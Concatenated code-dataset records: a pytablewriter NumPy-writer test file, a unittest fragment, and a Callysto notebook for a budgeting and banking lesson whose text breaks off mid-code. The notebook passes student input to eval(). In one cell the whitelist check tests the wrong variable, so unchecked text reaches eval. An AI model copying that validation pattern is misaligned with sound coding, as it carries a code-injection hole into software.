\"__main__\":\n    unittest.main()\n", "meta": {"hexsha": "5a7e659b04e264f88df8d66c2d5c56e3299d4d6e", "size": 2955, "ext": "py", "lang": "Python", "max_stars_repo_path": "_unittests/ut_faq/test_faq_pandas.py", "max_stars_repo_name": "mohamedelkansouli/Ensae_py", "max_stars_repo_head_hexsha": "8bc867bd2081c259c793fadfa8be5dcc7bd1400b", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "_unittests/ut_faq/test_faq_pandas.py", "max_issues_repo_name": "mohamedelkansouli/Ensae_py", "max_issues_repo_head_hexsha": "8bc867bd2081c259c793fadfa8be5dcc7bd1400b", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "_unittests/ut_faq/test_faq_pandas.py", "max_forks_repo_name": "mohamedelkansouli/Ensae_py", "max_forks_repo_head_hexsha": "8bc867bd2081c259c793fadfa8be5dcc7bd1400b", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 30.78125, "max_line_length": 86, "alphanum_fraction": 0.4856175973, "include": true, "reason": "import numpy", "num_tokens": 991, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3923368443773709, "lm_q2_score": 0.20689405859634893, "lm_q1q2_score": 0.0811721620701184}}
{"text": "\"\"\"\n.. codeauthor:: Tsuyoshi Hombashi <tsuyoshi.hombashi@gmail.com>\n\"\"\"\n\nimport pytest\n\nimport pytablewriter as ptw\n\nfrom ...._common import print_test_result\nfrom ....data import (\n    Data,\n    headers,\n    mix_header_list,\n    mix_value_matrix,\n    null_test_data_list,\n    value_matrix,\n    value_matrix_iter,\n    value_matrix_with_none,\n)\n\n\ntry:\n    import numpy as np  # noqa: W0611\n\n    SKIP_DATAFRAME_TEST = False\nexcept ImportError:\n    SKIP_DATAFRAME_TEST = True\n\n\nnormal_test_data_list = [\n    Data(\n        table=\"table-name ho'ge\",\n        indent=0,\n        header=headers,\n        value=value_matrix,\n        expected=\"\"\"table_name_ho_ge = np.array([\n    [\"a\", \"b\", \"c\", \"dd\", \"e\"],\n    [1, 123.1, \"a\", 1, 1],\n    [2, 2.2, \"bb\", 2.2, 2.2],\n    [3, 3.3, \"ccc\", 3, \"cccc\"],\n])\n\"\"\",\n    ),\n    Data(\n        table=\"empty value\",\n        indent=0,\n        header=headers,\n        value=None,\n        expected=\"\"\"empty_value = np.array([\n    [\"a\", \"b\", \"c\", \"dd\", \"e\"],\n])\n\"\"\",\n    ),\n    Data(\n        table=\"table with%null-value\",\n        indent=0,\n        header=headers,\n        value=value_matrix_with_none,\n        expected=\"\"\"table_with_null_value = np.array([\n    [\"a\", \"b\", \"c\", \"dd\", \"e\"],\n    [1, None, \"a\", 1, None],\n    [None, 2.2, None, 2.2, 2.2],\n    [3, 3.3, \"ccc\", None, \"cccc\"],\n    [None, None, None, None, None],\n])\n\"\"\",\n    ),\n    Data(\n        table=\"mix data types\",\n        indent=0,\n        header=mix_header_list,\n        value=mix_value_matrix,\n        expected=\"\"\"mix_data_types = np.array([\n    [\"i\", \"f\", \"c\", \"if\", \"ifc\", \"bool\", \"inf\", \"nan\", \"mix_num\", \"time\"],\n    [1, 1.1, \"aa\", 1, 1, True, np.inf, np.nan, 1, dateutil.parser.parse(\"2017-01-01T00:00:00\")],\n    [2, 2.2, \"bbb\", 2.2, 2.2, False, np.inf, np.nan, np.inf, \"2017-01-02 03:04:05+09:00\"],\n    [3, 3.33, \"cccc\", -3, \"ccc\", True, np.inf, np.nan, np.nan, dateutil.parser.parse(\"2017-01-01T00:00:00\")],\n])\n\"\"\",\n    ),\n    Data(\n        table=\"mix data types wo header\",\n        indent=0,\n        header=None,\n        value=mix_value_matrix,\n        expected=\"\"\"mix_data_types_wo_header = np.array([\n    [1, 1.1, \"aa\", 1, 1, True, np.inf, np.nan, 1, dateutil.parser.parse(\"2017-01-01T00:00:00\")],\n    [2, 2.2, \"bbb\", 2.2, 2.2, False, np.inf, np.nan, np.inf, \"2017-01-02 03:04:05+09:00\"],\n    [3, 3.33, \"cccc\", -3, \"ccc\", True, np.inf, np.nan, np.nan, dateutil.parser.parse(\"2017-01-01T00:00:00\")],\n])\n\"\"\",\n    ),\n    Data(\n        table=\"float-with-null\",\n        indent=0,\n        header=[\"a\", \"b\"],\n        value=[\n            [\"0.03785679191278808\", \"826.21158713263\"],\n            [None, \"826.21158713263\"],\n            [0.1, \"1.0499675627886724\"],\n        ],\n        expected=\"\"\"float_with_null = np.array([\n    [\"a\", \"b\"],\n    [0.03785679191278808, 826.21158713263],\n    [None, 826.21158713263],\n    [0.1, 1.0499675627886724],\n])\n\"\"\",\n    ),\n]\n\n\ntable_writer_class = ptw.NumpyTableWriter\n\n\nclass Test_NumpyTableWriter_write_new_line:\n    def test_normal(self, capsys):\n        writer = table_writer_class()\n        writer.write_null_line()\n\n        out, _err = capsys.readouterr()\n\n        assert out == \"\\n\"\n\n\nclass Test_NumpyTableWriter_write_table:\n    @pytest.mark.parametrize(\n        [\"table\", \"indent\", \"header\", \"value\", \"expected\"],\n        [\n            [data.table, data.indent, data.header, data.value, data.expected]\n            for data in normal_test_data_list\n        ],\n    )\n    def test_normal(self, capsys, table, indent, header, value, expected):\n        writer = table_writer_class()\n        writer.table_name = table\n        writer.set_indent_level(indent)\n        writer.headers = header\n        writer.value_matrix = value\n        writer.write_table()\n\n        out, err = capsys.readouterr()\n        print_test_result(expected=expected, actual=out, error=err)\n\n        assert out == expected\n\n    @pytest.mark.parametrize(\n        [\"table\", \"indent\", \"header\", \"value\", \"expected\"],\n        [\n            [data.table, data.indent, data.header, data.value, data.expected]\n            for data in null_test_data_list\n        ],\n    )\n    def test_exception_null(self, table, indent, header, value, expected):\n        writer = table_writer_class()\n        writer.table_name = table\n        writer.set_indent_level(indent)\n        writer.headers = header\n        writer.value_matrix = value\n\n        assert writer.dumps() == \"\"\n\n    @pytest.mark.parametrize(\n        [\"table\", \"indent\", \"header\", \"value\", \"expected\"],\n        [\n            [data.table, data.indent, data.header, data.value, data.expected]\n            for data in [\n                Data(\n                    table=None,\n                    indent=0,\n                    header=headers,\n                    value=value_matrix,\n                    expected=\"\",\n                )\n            ]\n        ],\n    )\n    def test_exception(self, table, indent, header, value, expected):\n        writer = table_writer_class()\n        writer.table_name = table\n        writer.set_indent_level(indent)\n        writer.headers = header\n        writer.value_matrix = value\n\n        with pytest.raises(ptw.EmptyTableNameError):\n            writer.write_table()\n\n\nclass Test_NumpyTableWriter_write_table_iter:\n    @pytest.mark.parametrize(\n        [\"table\", \"header\", \"value\", \"expected\"],\n        [\n            [\n                \"tablename\",\n                [\"ha\", \"hb\", \"hc\"],\n                value_matrix_iter,\n                \"\"\"tablename = np.array([\n    [\"ha\", \"hb\", \"hc\"],\n    [1, 2, 3],\n    [11, 12, 13],\n    [1, 2, 3],\n    [11, 12, 13],\n    [101, 102, 103],\n    [1001, 1002, 1003],\n])\n\"\"\",\n            ]\n        ],\n    )\n    def test_normal(self, capsys, table, header, value, expected):\n        writer = table_writer_class()\n        writer.table_name = table\n        writer.headers = header\n        writer.value_matrix = value\n        writer.iteration_length = len(value)\n        writer.write_table_iter()\n\n        out, _err = capsys.readouterr()\n\n        assert out == expected\n\n    @pytest.mark.parametrize(\n        [\"table\", \"header\", \"value\", \"expected\"],\n        [[data.table, data.header, data.value, data.expected] for data in null_test_data_list],\n    )\n    def test_normal_empty(self, table, header, value, expected):\n        writer = table_writer_class()\n        writer.table_name = table\n        writer.headers = header\n        writer.value_matrix = value\n\n        writer.write_table_iter()\n", "meta": {"hexsha": "1ca847804a495c14ebbc16858dc25fb1984eb74d", "size": 6388, "ext": "py", "lang": "Python", "max_stars_repo_path": "test/writer/text/sourcecode/test_numpy_writer.py", "max_stars_repo_name": "jvdvegt/pytablewriter", "max_stars_repo_head_hexsha": "29e8e7597d29c747354a64705313ad2e08013e4e", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 510, "max_stars_repo_stars_event_min_datetime": "2016-05-24T15:11:07.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T00:38:43.000Z", "max_issues_repo_path": "test/writer/text/sourcecode/test_numpy_writer.py", "max_issues_repo_name": "jvdvegt/pytablewriter", "max_issues_repo_head_hexsha": "29e8e7597d29c747354a64705313ad2e08013e4e", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 52, "max_issues_repo_issues_event_min_datetime": "2016-06-14T03:57:04.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-21T14:38:03.000Z", "max_forks_repo_path": "test/writer/text/sourcecode/test_numpy_writer.py", "max_forks_repo_name": "jvdvegt/pytablewriter", "max_forks_repo_head_hexsha": "29e8e7597d29c747354a64705313ad2e08013e4e", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 39, "max_forks_repo_forks_event_min_datetime": "2016-05-26T15:40:10.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-25T11:12:16.000Z", "avg_line_length": 27.4163090129, "max_line_length": 109, "alphanum_fraction": 0.5524420789, "include": true, "reason": "import numpy", "num_tokens": 1752, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48438006939036565, "lm_q2_score": 0.16667541296674693, "lm_q1q2_score": 0.08073424809850073}}
{"text": "![Callysto.ca Banner](https://github.com/callysto/curriculum-notebooks/blob/master/callysto-notebook-banner-top.jpg?raw=true)\n\n<a href=\"https://hub.callysto.ca/jupyter/hub/user-redirect/git-pull?repo=https%3A%2F%2Fgithub.com%2Fcallysto%2Fcurriculum-notebooks&branch=master&subPath=Mathematics/BudgetAndBankingAssignment/budget-and-banking-assignment.ipynb&depth=1\" target=\"_parent\"><img src=\"https://raw.githubusercontent.com/callysto/curriculum-notebooks/master/open-in-callysto-button.svg?sanitize=true\" width=\"123\" height=\"24\" alt=\"Open in Callysto\"/></a>\n\n%%html\n\n<script>\n  function code_toggle() {\n    if (code_shown){\n      $('div.input').hide('500');\n      $('#toggleButton').val('Show Code')\n    } else {\n      $('div.input').show('500');\n      $('#toggleButton').val('Hide Code')\n    }\n    code_shown = !code_shown\n  }\n\n  $( document ).ready(function(){\n    code_shown=false;\n    $('div.input').hide()\n  });\n</script>\n<p> Code is hidden for ease of viewing. Click the Show/Hide button to see. </>\n<form action=\"javascript:code_toggle()\"><input type=\"submit\" id=\"toggleButton\" value=\"Show Code\"></form>\n\n# Modules\n\nimport string\nimport numpy as np\nimport pandas as pd\nimport qgrid as q\nimport matplotlib.pyplot as plt\n\n# Widgets & Display modules, etc..\n\nfrom ipywidgets import widgets as w\nfrom ipywidgets import Button, Layout\nfrom IPython.display import display, Javascript, Markdown, HTML\n\n# grid features for interactive grids \n\ngrid_features = { 'fullWidthRows': True,\n                  'syncColumnCellResize': True,\n                  'forceFitColumns': True,\n                  'rowHeight': 40,\n                  'enableColumnReorder': True,\n                  'enableTextSelectionOnCells': True,\n                  'editable': True,\n                  'filterable': False,\n                  'sortable': False,\n                  'highlightSelectedRow': True}\n\ndef rerun_cell( b ):\n    \n    display(Javascript('IPython.notebook.execute_cell_range(IPython.notebook.get_selected_index()+1,IPython.notebook.get_selected_index()+2)'))    \n\ndef check_answers(series_input,answer_list):\n    \n    # convert valid answer list to string format \n    \n    valid_answers = \"\"\n    \n    for item in answer_list:\n        \n        valid_answers = valid_answers + item + \",\"\n        \n    valid_answers = valid_answers[:len(valid_answers)-1]\n    \n    # compare student's answers to answer list\n        \n    for entry in series_input:\n        \n        if(entry != '' and entry not in answer_list):\n            \n            # display(Markdown(\"Some of your inputs are invalid. Please enter valid inputs from the following: \", valid_answers))\n            \n            return 0\n        \n    return 1\n\nname_text = w.Textarea( value='', placeholder='STUDENT NAME', description='', disabled=False , layout=Layout(width='30%', height='32.5px') )\ndate_text = w.Textarea( value='', placeholder='DATE', description='', disabled=False , layout=Layout(width='30%', height='32.5px') )\nprofile_button = w.Button(button_style='info',description=\"Save\", layout=Layout(width='15%', height='30px'))\n\ndisplay(name_text)\ndisplay(date_text)\ndisplay(profile_button)\n\nprofile_button.on_click( rerun_cell ) \n\nname = name_text.value\ndate = date_text.value\n\nname_saved = False\ndate_saved = False\n\nif(name != ''):\n    \n    name_text.close()\n    display(Markdown(\"### Student Name: $\\hspace{1.5cm}$\"+ name ))\n    name_saved = True\n    \nif(date != ''):\n    \n    date_text.close()\n    display(Markdown(\"### $\\hspace{2.15cm}$Date: $\\hspace{1.5cm}$\"+ date ))\n    date_saved = True\n    \nif(name_saved == True and date_saved == True):\n    \n    profile_button.close()\n\n# Budget and Banking\n\n## Assignment Lesson 1\n\nanswers_recorded = 0\nq1_answered = 0\nq2_answered = 0\nq3a_answered = 0\nq3b_answered = 0\nq3c_answered = 0\nq3d_answered = 0\n\nFor question 1 and 2, choose the best answer.\n\n**Question 1.** A good reason for preparing a budget\n\nif(q1_answered == 1):\n    \n    q1_answered += 1\n    q1_student_answer = q1_choices.value\n    correct_answer = 'd.) All the above are good reasons for preparing a budget'\n    \n    if(q1_student_answer == correct_answer):\n        \n        display(Markdown(\"### You answered: \"))\n        display(Markdown(q1_student_answer))\n        \n        display(Markdown(\"This is correct!\"))\n        \n    else:\n        \n        display(Markdown(\"### You answered: \"))\n        display(Markdown(q1_student_answer))\n\n        display(Markdown(\"This is incorrect.\"))\n        display(Markdown(\"### Correct answer: \"))\n        display(Markdown(correct_answer))\n        \nelse:\n    \n    # Question 1 Answer Choices\n\n    choice_1 = 'a.) Running out of money each month'\n    choice_2 = 'b.) To reduce debt'\n    choice_3 = 'c.) To save for something special'\n    choice_4 = 'd.) All the above are good reasons for preparing a budget'\n\n    answer_choices = [ choice_1,choice_2,choice_3,choice_4 ]\n\n    # Question 1 choices widget \n\n    q1_choices = w.RadioButtons( options=answer_choices , description=\"\" , disabled=False , layout=Layout(width='100%'))\n    display(q1_choices)\n\nq1_answered += 1\n\ndef record_answer(button_widget):\n    \n    display(Javascript('IPython.notebook.execute_cell_range( IPython.notebook.get_selected_index()-1 , IPython.notebook.get_selected_index()+1) '))    \n    q1_choices.close()\n    \nif(q1_answered >= 2):\n    \n    q1_button.close()\n    \nelse:\n    \n    q1_button = w.Button(button_style='info',description=\"Record Answer\", layout=Layout(width='15%', height='30px'))\n    q1_button.on_click( record_answer ) \n    display(q1_button)\n\n**Question 2.** Which equation best describes gross and net pay?\n\nif(q2_answered == 1):\n    \n    q2_answered += 1\n    q2_student_answer = q2_choices.value\n    correct_answer = 'b.) Net Pay = Gross Pay - Deductions'\n    \n    if(q2_student_answer == correct_answer):\n\n        display(Markdown(\"### You answered: \"))\n        display(Markdown(q2_student_answer))\n        \n        display(Markdown(\"This is correct!\"))\n        \n    else:\n        \n        display(Markdown(\"### You answered: \"))\n        display(Markdown(q2_student_answer))\n\n        display(Markdown(\"This is incorrect.\"))\n        display(Markdown(\"### Correct answer: \"))\n        display(Markdown(correct_answer))\n    \nelse:\n\n    # Question 2 Answer Choices\n\n    choice_1 = 'a.) Gross Pay = Net Pay - Deductions'\n    choice_2 = 'b.) Net Pay = Gross Pay - Deductions'\n    choice_3 = 'c.) Gross Pay = Net Pay \u00f7 Deductions'\n    choice_4 = 'd.) Net Pay = Gross Pay \u00f7 Deductions'\n\n    answer_choices = [ choice_1,choice_2,choice_3,choice_4 ]\n\n    q2_choices = w.RadioButtons( options=answer_choices , description=\"\" , disabled=False , layout=Layout(width='100%'))\n    display(q2_choices)\n\nq2_answered += 1\n\ndef record_answer(button_widget):\n    \n    display(Javascript('IPython.notebook.execute_cell_range( IPython.notebook.get_selected_index()-1 , IPython.notebook.get_selected_index()+1) '))    \n    q2_choices.close()\n    \nif(q2_answered >= 2):\n    \n    q2_button.close()\n    \nelse:\n    \n    q2_button = w.Button(button_style='info',description=\"Record Answer\", layout=Layout(width='15%', height='30px'))\n    q2_button.on_click( record_answer ) \n    display(q2_button)\n\n**Question 3.** Label the following incomes as **fixed** or **variable**. Explain reasons for each.\n\n$\\hspace{0.35cm}$**a.)** Lloyd earns $50.00 for every set of knife he sells.\n\nif(q3a_answered == 1):\n    \n    q3a_answered += 1\n    q3a_student_answer = q3a_choices.value\n    correct_answer = 'Variable'\n\n    if(q3a_student_answer == correct_answer):\n        \n        display(Markdown(\"### You answered: \"))\n        display(Markdown(q3a_student_answer))\n        \n        display(Markdown(\"This is correct!\"))\n        \n    else:\n        \n        display(Markdown(\"### You answered: \"))\n        display(Markdown(q3a_student_answer))\n\n        display(Markdown(\"This is incorrect.\"))\n        display(Markdown(\"### Correct answer: \"))\n        display(Markdown(correct_answer))\n    \nelse:\n\n    # Question 3.a Answer Choices\n\n    choice_1 = 'Fixed'\n    choice_2 = 'Variable'\n\n    answer_choices = [ choice_1,choice_2 ]\n\n    q3a_choices = w.RadioButtons( options=answer_choices , description=\"\" , disabled=False , layout=Layout(width='100%'))\n    display(q3a_choices)\n\nq3a_answered += 1\n\ndef record_answer(button_widget):\n    \n    display(Javascript('IPython.notebook.execute_cell_range( IPython.notebook.get_selected_index()-1 , IPython.notebook.get_selected_index()+1) '))    \n    q3a_choices.close()\n    \nif(q3a_answered >= 2):\n    \n    q3a_button.close()\n    \nelse:\n    \n    q3a_button = w.Button(button_style='info',description=\"Record Answer\", layout=Layout(width='15%', height='30px'))\n    q3a_button.on_click( record_answer ) \n    display(q3a_button)\n\n$\\hspace{0.35cm}$**b.)** Each month, Florence is paid 4.5% commission on her first $1,500.00 in sales. If she makes more than this, Florence is paid 6% in commission.\n\nif(q3b_answered == 1):\n    \n    q3b_answered += 1\n    q3b_student_answer = q3b_choices.value\n    correct_answer = 'Variable'\n    \n    if(q3b_student_answer == correct_answer):\n        \n        display(Markdown(\"### You answered: \"))\n        display(Markdown(q3b_student_answer))\n        \n        display(Markdown(\"This is correct!\"))\n        \n    else:\n        \n        display(Markdown(\"### You answered: \"))\n        display(Markdown(q3b_student_answer))\n\n        display(Markdown(\"This is incorrect.\"))\n        display(Markdown(\"### Correct answer: \"))\n        display(Markdown(correct_answer))\n    \nelse:\n\n    # Question 3.b Answer Choices\n\n    choice_1 = 'Fixed'\n    choice_2 = 'Variable'\n\n    answer_choices = [ choice_1,choice_2 ]\n\n    q3b_choices = w.RadioButtons( options=answer_choices , description=\"\" , disabled=False , layout=Layout(width='100%'))\n    display(q3b_choices)\n\nq3b_answered += 1\n\ndef record_answer(button_widget):\n    \n    display(Javascript('IPython.notebook.execute_cell_range( IPython.notebook.get_selected_index()-1 , IPython.notebook.get_selected_index()+1) '))    \n    q3b_choices.close()\n    \nif(q3b_answered >= 2):\n    \n    q3b_button.close()\n    \nelse:\n    \n    q3b_button = w.Button(button_style='info',description=\"Record Answer\", layout=Layout(width='15%', height='30px'))\n    q3b_button.on_click( record_answer ) \n    display(q3b_button)\n\n$\\hspace{0.35cm}$**c.)** Corinne works 40 hours a week at $17.00 an hour. She is paid bi-weekly (every two weeks).\n\nif(q3c_answered == 1):\n    \n    q3c_answered += 1\n    q3c_student_answer = q3c_choices.value\n    correct_answer = 'Fixed'\n    \n    if(q3c_student_answer == correct_answer):\n        \n        display(Markdown(\"### You answered: \"))\n        display(Markdown(q3c_student_answer))\n        \n        display(Markdown(\"This is correct!\"))\n        \n    else:\n        \n        display(Markdown(\"### You answered: \"))\n        display(Markdown(q3c_student_answer))\n\n        display(Markdown(\"This is incorrect.\"))\n        display(Markdown(\"### Correct answer: \"))\n        display(Markdown(correct_answer))\n    \nelse:\n\n    # Question 3.c Answer Choices\n\n    choice_1 = 'Fixed'\n    choice_2 = 'Variable'\n\n    answer_choices = [ choice_1,choice_2 ]\n\n    q3c_choices = w.RadioButtons( options=answer_choices , description=\"\" , disabled=False , layout=Layout(width='100%'))\n    display(q3c_choices)\n\nq3c_answered += 1\n\ndef record_answer(button_widget):\n    \n    display(Javascript('IPython.notebook.execute_cell_range( IPython.notebook.get_selected_index()-1 , IPython.notebook.get_selected_index()+1) '))    \n    q3c_choices.close()\n    \nif(q3c_answered >= 2):\n    \n    q3c_button.close()\n    \nelse:\n    \n    q3c_button = w.Button(button_style='info',description=\"Record Answer\", layout=Layout(width='15%', height='30px'))\n    q3c_button.on_click( record_answer ) \n    display(q3c_button)\n\n$\\hspace{0.35cm}$**d.)** Gord earns a salary of $3,000.00 each month.\n\nif(q3d_answered == 1):\n    \n    q3d_answered += 1\n    q3d_student_answer = q3d_choices.value\n    correct_answer = 'Fixed'\n    \n    if(q3d_student_answer == correct_answer):\n        \n        display(Markdown(\"### You answered: \"))\n        display(Markdown(q3d_student_answer))\n        \n        display(Markdown(\"This is correct!\"))\n        \n    else:\n        \n        display(Markdown(\"### You answered: \"))\n        display(Markdown(q3d_student_answer))\n\n        display(Markdown(\"This is incorrect.\"))\n        display(Markdown(\"### Correct answer: \"))\n        display(Markdown(correct_answer))\n    \nelse:\n\n    # Question 3.d Answer Choices\n\n    choice_1 = 'Fixed'\n    choice_2 = 'Variable'\n\n    answer_choices = [ choice_1,choice_2 ]\n\n    q3d_choices = w.RadioButtons( options=answer_choices , description=\"\" , disabled=False , layout=Layout(width='100%'))\n    display(q3d_choices)\n\nq3d_answered += 1\n\ndef record_answer(button_widget):\n    \n    display(Javascript('IPython.notebook.execute_cell_range( IPython.notebook.get_selected_index()-1 , IPython.notebook.get_selected_index()+1) '))    \n    q3d_choices.close()\n    \nif(q3d_answered >= 2):\n    \n    q3d_button.close()\n    \nelse:\n    \n    q3d_button = w.Button(button_style='info',description=\"Record Answer\", layout=Layout(width='15%', height='30px'))\n    q3d_button.on_click( record_answer ) \n    display(q3d_button)\n\n4) Lian works in a retail store $35$ hours a week. She is paid $\\$12.75$ an hour bi-weekly (every two weeks). Her last paycheque had a deduction of $\\$71.19$ for Income Tax, $\\$35.82$ for CPP, and $\\$14.85$ for EI.\n\n$\\hspace{1.5cm}$a.) Determine Lian's gross pay for two weeks.\n\n**Write your calculations below.** \n* Valid inputs: Numbers and decimals. \n* Valid operations: `+,-,*` for addition, subtraction, and multiplication, respectively.\n\n**Example input:** `40 * 10 * 2 + 30`\n\nq4a_text = w.Textarea( value='', placeholder='Your calculations for Exercise 4.a.', description='', disabled=False , layout=Layout(width='100%', height='30px') )\nq4a_button = w.Button(button_style='info',description=\"Calculate\", layout=Layout(width='15%', height='30px'))\n\ndisplay(q4a_text)\ndisplay(q4a_button)\n\nq4a_button.on_click( rerun_cell ) \n\n# Obtain user's input\n\nq4a_input = q4a_text.value\n\n# Define the valid character inputs for this exercise\n\nnumbers = '0123456789'\noperations = '+-*'\nothers = ' .'\nvalid_inputs = numbers + operations + others\n\n# Check if every character in user's string input is valid\n\nuser_input_valid = all( ch in valid_inputs for ch in q4a_input)\n\n# Check for correctness of user's calculation\n\nif(q4a_input != '' and user_input_valid == True):\n    \n    user_answer = eval(q4a_input)\n    \n    display(Markdown(\"### You answered: \"))\n    display(Markdown(\"$\\$\"+str(round(user_answer,2))+\"$\"))\n    \n    if(user_answer == 892.50):\n    \n        display(Markdown(\"Your calculation is correct!\"))\n\n        q4a_button.close()\n        q4a_text.close()\n        \n    else:\n        \n        display(Markdown(\"Your calculation is incorrect. Try again.\"))\n  \nif(q4a_input != '' and user_input_valid == False):\n    \n    display(Markdown(\"Your answer contains invalid inputs or operations.\"))\n\n$\\hspace{1.5cm}$b.) Determine Lian's net pay for two weeks. \n\nq4b_text = w.Textarea( value='', placeholder='Your calculations for Exercise 4.b.', description='', disabled=False , layout=Layout(width='100%', height='30px') )\nq4b_button = w.Button(button_style='info',description=\"Calculate\", layout=Layout(width='15%', height='30px'))\n\ndisplay(q4b_text)\ndisplay(q4b_button)\n\nq4b_button.on_click( rerun_cell ) \n\n# Obtain user's input\n\nq4b_input = q4b_text.value\n\n# Define the valid character inputs for this exercise\n\nnumbers = '0123456789'\noperations = '+-*'\nothers = ' .'\nvalid_inputs = numbers + operations + others\n\n# Check if every character in user's string input is valid\n\nuser_input_valid = all( ch in valid_inputs for ch in q4a_input)\n\n# Check for correctness of user's calculation\n\nif(q4b_input != '' and user_input_valid == True):\n    \n    user_answer = round(eval(q4b_input),2)\n    correct_answer = round(eval(\"892.5 - 71.19 - 35.82 - 14.85\"),2)\n    \n    display(Markdown(\"### You answered: \"))\n    display(Markdown(\"$\\$\"+str(round(user_answer,2))+\"$\"))\n    \n    if(user_answer == correct_answer):\n\n        q4b_button.close()\n        q4b_text.close()\n        \n        display(Markdown(\"Your calculation is correct!\"))\n        \n    else:\n        \n        display(Markdown(\"Your calculation is incorrect. Try again.\"))    \n\nif(q4b_input != '' and user_input_valid == False):\n    \n    display(Markdown(\"Your answer contains invalid inputs or operations.\"))\n\n---\n\n<h1 align='center'>Character Section Lesson</h1>\n\nTo conclude the Chapter 1 Assignment, you will be constructing a conservative budget and answering a \"what if\" question. You will be marked using a rubric that is located on the last page of the booklet.\n\n### Character Background\n\nEmma, a high school student working at a local grocery store as a cashier.\n\n### Personal Background\n\nEmma is 16 years old, in grade 11 and living at home with her parents. She plays soccer and rugby. Emma is the bass player in a band. Currently, she is using an old bass guitar that her dad played in the 1980s, and she would like to buy her own. Her goal is to buy it in five months because the band has a big gig coming up in six months. The new bass costs $828.45 including GST.\n\n\n### Salary\n\n\nEmma works part-time at Gobey\u2019s Grocery. She is paid a biweekly amount of $321.13.\n\nEmma babysits occasionally for her neighbours for $10.00 an hour. Several of Emma's babysitting client pay her by cheque, and Emma puts the money directly into her bank account.\n\n### Expenses\n\nEmma\u2019s parents have encouraged her to save for post-secondary schooling. To achieve this, Emma and her parents set up a direct withdrawal from her bank account of $40.00 a paycheque into an RESP account. Emma pays for her own transit pass, which she uses to travel around the city. Emma is very thrifty and creative, so she chooses to shop for clothing at local second-hand stores. Emma\u2019s position as the bass player in a local band requires her to maintain her instrument and provide her own sound equipment.\n\nEmma downloads the bank record of her spending during two months (February and March).\n\n### Notes\n\n* The credit column contains all income (part-time job and babysitting).\n\n* The debit column contains all expenses that Emma has paid.\n\n* An automatic withdrawal of $40.00 each paycheque goes into an RESP account.\n\n* In February, Emma paid rugby fees with cash, which are $180.00.\n\n* At the end of March, Emmas\u2019 soccer team went to an overnight tournament for which she paid $160.00 in cash as her portion of the hotel room.\n\n<h2 align='center'>Character Section Lesson Exercises</h2>\n\n**Question 1.** List **at least two** reasons Emma might want to prepare a budget for herself.\n\nemma1_text = w.Textarea( value='', placeholder='Write your answer here for Question 1.', description='', disabled=False , layout=Layout(width='100%', height='75px') )\nemma1_button = w.Button(button_style='info',description=\"Record Answer\", layout=Layout(width='15%', height='30px'))\n\ndisplay(emma1_text)\ndisplay(emma1_button)\n\nemma1_button.on_click( rerun_cell ) \n\nemma1_input = emma1_text.value\n\nif(emma1_input != ''):\n    \n    emma1_text.close()\n    emma1_button.close()\n    display(Markdown(\"### Your answer for Question 1:\"))\n    display(Markdown(emma1_input))\n\n**Question 2.** Determine Emma\u2019s net income for the month of February and March. Her bank statements are displayed below.\n\n# Prepare dataframes for Emma's February & March Transactions\n\nentry_types = {'Debit ($)': str , 'Credit ($)' : str}\n\nfebruary_transactions_df = pd.read_csv('./data/februarytransactions.csv',converters=entry_types)\nfebruary_transactions_df.set_index('Date',inplace=True)\nfebruary_transactions_df[['Debit ($)','Credit ($)']] = february_transactions_df[['Debit ($)','Credit ($)']].replace(np.nan,\"0.00\")\n\nmarch_transactions_df = pd.read_csv('./data/marchtransactions.csv',converters=entry_types)\nmarch_transactions_df.set_index('Date',inplace=True)\nmarch_transactions_df[['Debit ($)','Credit ($)']] = march_transactions_df[['Debit ($)','Credit ($)']].replace(np.nan,\"0.00\")\n\n# Control grid features\n\nemma_grid_features = { 'fullWidthRows': True,\n                  'syncColumnCellResize': True,\n                  'forceFitColumns': True,\n                  'rowHeight': 40,\n                  'enableColumnReorder': True,\n                  'enableTextSelectionOnCells': True,\n                  'editable': False,\n                  'filterable': False,\n                  'sortable': False,\n                  'highlightSelectedRow': True}\n\nq_emma_feb = q.show_grid( february_transactions_df , grid_options = emma_grid_features ) \nq_emma_mar = q.show_grid( march_transactions_df , grid_options = emma_grid_features ) \n\ndisplay(Markdown(\"<h2 align='center'>Emma's February Transactions</h2>\"))\n\ndisplay(q_emma_feb)\n\n**Write your calculations below.**\n* Valid inputs: Numbers and decimals.\n* Valid operations: `+` for addition.\n\n**Example input:** `35 + 27.13 + 11.32`\n\nfeb_text = w.Textarea( value='', placeholder=\"Enter your calculation here to determine Emma's net income for the month of February. Hint: which column do Emma's income come from?\", description='', disabled=False , layout=Layout(width='100%', height='30px') )\nfeb_button = w.Button(button_style='info',description=\"Calculate\", layout=Layout(width='15%', height='30px'))\n\ndisplay(feb_text)\ndisplay(feb_button)\n\nfeb_button.on_click( rerun_cell ) \n\n# Obtain user's input\n\nfeb_input = feb_text.value\n\n# Define the valid character inputs for this exercise\n\nnumbers = '0123456789'\noperations = '+'\nothers = ' .'\nvalid_inputs = numbers + operations + others\n\n# Check if every character in user's string input is valid\n\nuser_input_valid = all( ch in valid_inputs for ch in feb_input)\n\n# Check for correctness of user's calculation\n\nif(feb_input != '' and user_input_valid == True):\n    \n    user_answer = eval(feb_input)\n    \n    display(Markdown(\"### You answered: \"))\n    display(Markdown(\"$\\$\"+str(user_answer)+\"$\"))\n    \n    if(user_answer == 1042.26):\n                \n        feb_button.close()\n        feb_text.close()\n        \n        display(Markdown(\"Your calculation is correct!\"))\n        \n    else:\n        \n        display(Markdown(\"Your calculation is incorrect. Try again.\"))   \n\nif(feb_input != '' and user_input_valid == False):\n    \n    